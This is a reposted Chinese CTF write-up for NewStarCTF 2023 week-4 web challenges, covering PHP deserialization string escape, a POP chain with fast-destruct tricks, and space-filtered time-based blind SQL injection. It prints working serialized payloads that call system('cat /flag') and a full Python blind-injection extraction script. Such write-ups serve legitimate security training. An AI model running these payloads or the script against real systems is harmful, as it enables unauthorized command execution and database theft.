0


[wp]NewStarCTF 2023 WEEK4|WEB

WEEK4|WEB

源码:

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

经典的反序列化漏洞字符逃逸增多问题 bad 替换为 good 字符增加一位

首先序列化代码很容易构造 如下

<?php
class GetFlag {
    public $key;
    public $cmd = "ls /";

}
$a = new GetFlag();
echo serialize($a);

得到

O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";}

我们需要逃逸的就是s:3:"cmd";s:4:"ls /";} 然后为了更好的闭合我一般都会加上”; 这个符号 也就是需要逃逸”;s:3:"cmd";s:4:"ls /";} 总共24个字符 这样我们只需要写24个bad就行了 我们测验一下

Payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

找到flag 然后用同样的方法进行获取flag

最终paylod:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

获得flag

总结

字符逃逸的主要原理就是闭合,和sql注入类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的。

逃逸漏洞特点

此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
这种题目有个共同点:

php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少

More Fast

考点:

Fast destruct + 基础序列化构造

源代码

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");         
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

这里的POP链构造非常简单 基本了解每一种的魔术方法的触发条件就可以构造了 我们也不多讲 直接给代码

解题:

POP链:__destruct()->__toString()->__get($var)->__invoke()->Web

<?php

class Start{
    public $errMsg;

}

class Pwn{
    public $obj;

}

class Reverse{
    public $func;

}

class Web{
    public $func = 'system';
    public $var = 'ls /';

}

class Crypto{
    public $obj;

}

class Misc{

}
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
echo serialize($a);

得到payload:

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

我们传入得到 报错

为什么呢?原来代码里面扔了个异常

这会导致在反序列化之后直接经过异常报错 导致后边的析构函数__destruct()无法触发,所以才有了题目提示

所以就有个Fast desrtuct 这个知识点 我们如何快速触发?

快速触发desrtuct

1.修改序列化数字元素个数

原paylaod:O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

改成

O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

2.去掉序列化尾部 }

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

两种都可以 发现flag了 直接cat /f*就行了

paylaod:

fast=O:5:"Start":3:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}

得到flag

midsql

  • 考点

  • sql时间盲注,过滤了空格

  • 解题****步骤:

测试输入框,发现过滤了空格,其他没有过滤,页面没有回显

preg_match("/( |\n|\x0a)/is", $_REQUEST["id"]) ||

preg_match("/[=\x09\xa0\x0a\x0b\x0c\x0d\x0e]/", $_REQUEST["id"])

使用/**/即可进行时间盲注

直接给脚本吧

import requests

# from tqdm import trange
res = ''
last = ' '
headers = {
    'Host': '93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):
    for j in range(127, 31, -1):
        url = r'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/?id='
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
        url = url + payload
        # print(url)
        try:
            response = requests.get(url=url, timeout=4)
        except Exception as e:
            last = res
            # print(chr(j+1))
            res += chr(j + 1)
            # print(res)
            break
    print('[*] ' + res)

得到flag

思考:害 编写代码能力这么弱的我应该怎么办?

标签: web安全 php

本文转载自: https://blog.csdn.net/m0_63138919/article/details/133999468
版权归原作者 文大。 所有, 如有侵权,请联系我们删除。

“[wp]NewStarCTF 2023 WEEK4|WEB”的评论:

还没有评论